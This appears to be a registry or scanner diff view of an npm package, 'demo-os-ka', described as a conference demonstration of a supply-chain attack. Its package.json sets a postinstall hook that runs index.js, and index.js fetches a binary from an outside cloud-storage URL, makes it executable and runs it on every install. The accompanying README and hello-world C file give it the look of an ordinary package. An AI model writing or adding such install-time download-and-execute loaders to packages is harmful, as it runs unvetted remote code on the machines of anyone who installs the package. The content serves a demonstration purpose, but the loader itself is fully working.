demo-os-ka 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
package/README.md ADDED
@@ -0,0 +1 @@
1
+ # sc-demo-os-package
@@ -0,0 +1,6 @@
1
+ #include <stdio.h>
2
+
3
+ int main() {
4
+ printf("Hello, world!\n");
5
+ return 0;
6
+ }
Binary file
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const { exec } = require('child_process');
4
+
5
+ let fetch;
6
+
7
+ async function initialize() {
8
+ const module = await import('node-fetch');
9
+ fetch = module.default;
10
+ await main(); // Main is here [Note]
11
+ }
12
+
13
+ const TARGET_URL = 'https://sc-demo-ka.nyc3.digitaloceanspaces.com/my-binary';
14
+ const BINARY_PATH = path.join(__dirname, 'my-binary');
15
+
16
+ async function download() {
17
+ const res = await fetch(TARGET_URL);
18
+ const fileStream = fs.createWriteStream(BINARY_PATH);
19
+ await new Promise((resolve, reject) => {
20
+ res.body.pipe(fileStream);
21
+ res.body.on('error', reject);
22
+ fileStream.on('finish', resolve);
23
+ });
24
+ }
25
+
26
+ function runBinary() {
27
+ exec(BINARY_PATH, (error, stdout, stderr) => {
28
+ if (error) {
29
+ console.error(`Error executing binary: ${error}`);
30
+ return;
31
+ }
32
+ console.log(`STDOUT: ${stdout}`);
33
+ console.error(`STDERR: ${stderr}`);
34
+ });
35
+ }
36
+
37
+ async function main() {
38
+ await download();
39
+ fs.chmodSync(BINARY_PATH, 0o755);
40
+ runBinary();
41
+ }
42
+
43
+ // Initialize and then run main
44
+ initialize().catch((err) => console.error(err));
45
+
46
+ // Function to compare string against "supply chain"
47
+ function compareString(str) {
48
+ return str === "supply chain";
49
+ }
50
+
51
+ // Exports
52
+ module.exports = {
53
+ download,
54
+ runBinary,
55
+ compareString
56
+ };
package/my-binary ADDED
Binary file
package/package.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "demo-os-ka",
3
+ "version": "1.0.0",
4
+ "description": "Demo package created as part of conference presentation.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://github.com/verbal-noun/sc-demo-os-package.git"
13
+ },
14
+ "keywords": [
15
+ "DEMO"
16
+ ],
17
+ "author": "Kaif Ahsan",
18
+ "license": "ISC",
19
+ "bugs": {
20
+ "url": "https://github.com/verbal-noun/sc-demo-os-package/issues"
21
+ },
22
+ "homepage": "https://github.com/verbal-noun/sc-demo-os-package#readme",
23
+ "dependencies": {
24
+ "node-fetch": "^3.3.2"
25
+ }
26
+ }